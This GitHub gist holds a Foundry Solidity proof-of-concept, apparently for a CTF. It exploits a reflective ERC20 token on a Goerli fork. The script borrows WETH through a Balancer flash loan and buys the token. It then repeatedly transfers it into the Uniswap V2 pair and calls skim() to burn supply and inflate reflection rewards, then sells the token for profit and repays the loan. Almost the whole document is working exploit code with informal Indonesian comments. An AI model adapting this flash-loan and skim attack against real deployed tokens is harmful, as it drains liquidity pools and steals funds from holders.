Skip to content

Instantly share code, notes, and snippets.

@MrFatoni
Created February 14, 2023 19:02
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MrFatoni/da7a66e2a1f4e76b2db1aa643c35858f to your computer and use it in GitHub Desktop.
Save MrFatoni/da7a66e2a1f4e76b2db1aa643c35858f to your computer and use it in GitHub Desktop.
poc #2 sysfixed.org/ctf
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
contract asdadsadsadss is Test {
WETH9 private constant WETH = WETH9(0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6);
reflectiveERC20 private constant TKN = reflectiveERC20(0x9255590C2e66aBb441A9b19A8c518E12FBD5c4d3);
IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private constant WETH_TKN = IUniswapV2Pair(0x09CD30D9162e8619b03Df7aE9229B4e719582c8C);
function testHack() external {
vm.createSelectFork("https://eth-goerli.public.blastapi.io", 8489831);
// flashloan 2 weth dari balancer
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 2 ether;
balancerVault.flashLoan(address(this), tokens, amounts, "");
}
//forge test --contracts rawr/asdasd.sol -vv
function receiveFlashLoan(
reflectiveERC20[] memory,
uint256[] memory amounts,
uint256[] memory,
bytes memory
) external {
emit log_named_decimal_uint(" WETH di pair ", WETH.balanceOf(address(WETH_TKN)),18);
WETH.approve(address(router), type(uint).max);
TKN.approve(address(router), type(uint).max);
WETH_TKN.approve(address(router), type(uint).max);
address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(TKN);
//buy tokennya
// 0.13 eth x 8
router.swapExactTokensForTokens(0.12 ether, 0, path, address(this), block.timestamp+300); //biar ga gagal soalnya ada loop
emit log_named_decimal_uint(" ANGKA SETAN ", TKN.myPush(address(this)),18); //hampir 2jam muter2 gara2 ini, ternyata butuh diloop
// console.log("%s mypush 1", TKN.myPush(address(this)));
// console.log("%s totalsuply-amt", TKN.totalSupply() - TKN.myPush(address(this)));
// console.log("%s initialsup", (100 * 1e18));
emit log_named_decimal_uint(" TOKEN di pair ", TKN.balanceOf(address(WETH_TKN)),18);
emit log_named_decimal_uint(" TOKEN di attack", TKN.balanceOf(address(this)),18);
uint256 balance = TKN.balanceOf(address(this));
for(uint8 i; i < 10; i++){
//looping kirim ke address LP biar ngeburn
TKN.transfer(address(WETH_TKN), balance);
//skim ke address LP (ambil token nyasar seblum sync)
//di goerli gagal gara2 ada yg iseng kyknya
WETH_TKN.skim(address(this));
}
emit log_named_decimal_uint(" ANGKA SETAN ", TKN.myPush(address(this)),18);
//hajar send 0 ke address ini buat triger reward
TKN.transfer(address(this), 0);
emit log_named_decimal_uint(" tkn di pair", TKN.balanceOf(address(WETH_TKN)),18);
emit log_named_decimal_uint(" WETH di kntl", WETH.balanceOf(address(WETH_TKN)),18);
console.log('--------------------');
path[0] = address(TKN);
path[1] = address(WETH);
balance = TKN.balanceOf(address(this));
//jual tokennya
router.swapExactTokensForTokens(balance, 0, path, address(this), block.timestamp+300); //biar ga gagal soalnya ada loop
emit log_named_decimal_uint(" WETH di kntl setelah jual", WETH.balanceOf(address(WETH_TKN)),18);
emit log_named_decimal_uint("profit!", WETH.balanceOf(address(this)),18);
WETH.transfer(address(balancerVault), amounts[0]);
emit log_named_decimal_uint("\n Final WETH", WETH.balanceOf(address(this)),18);
}
}
interface reflectiveERC20 {
function burn(uint256 amount) external;
function totalSupply() external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function deliver(uint256 tAmount) external;
function myPush(address _address) external view returns(uint256);
}
interface WETH9 {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function balanceOf(address) external view returns (uint256);
}
interface IBalancerVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function sync() external;
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes memory data
) external;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment